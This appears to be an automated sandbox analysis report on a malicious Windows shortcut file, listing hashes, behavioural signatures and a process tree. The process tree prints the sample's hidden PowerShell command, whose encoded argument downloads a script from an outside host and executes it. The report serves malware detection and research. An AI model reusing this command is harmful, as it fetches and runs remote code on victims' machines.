Analysis
- max time kernel
119s - max time network
125s - platform
windows7_x64 - resource
win7-20240221-en - submitted
09/04/2024, 17:27
Static task
static1
Behavioral task
behavioral1
Sample
DRBS7505.lnk
Resource
win7-20240221-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DRBS7505.lnk
Resource
win10v2004-20240226-en
6 signatures
150 seconds
General
- Target DRBS7505.lnk
- Size 127KB
- Sample240409-v1eb5sha6w
- SHA256 375ac09d5f44849e9c888e86adc50069cdb019e3de3216264f61868bef12ca4d
- MD5 1b298f950d9b3289188e0ae035ac4095
- SHA1 7b71dfa4da23b81f681241cc642050d1c9085848
- SHA512 9d350eecaf5330771363d48fabac7706a8b5cb57fb3cb202405784dd550d8c824f6b2ef4ca26ea9e3cb76f9b585e1ee630d94d027f1ed4e80ba42ad7e6b4cf23
- SSDEEP 3072:UhX0NlDzCHH36SEn/iAgUrQCIS9D1YnKvbDT+jeo1lhU3uBr:fNlfCmjrQCID4bDOeWN
- MD5 SHA1 SHA512 SSDEEP
Score
8/10
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2716 powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2716 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2716 powershell.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2888 wrote to memory of 2716 2888 cmd.exe 29 PID 2888 wrote to memory of 2716 2888 cmd.exe 29 PID 2888 wrote to memory of 2716 2888 cmd.exe 29
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DRBS7505.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:2888 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBjAGEAcgBlAC0AbwBuAGIAbwBhAHIAZAAuAGMAbwBtAC8AYQBwAHAALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2716
-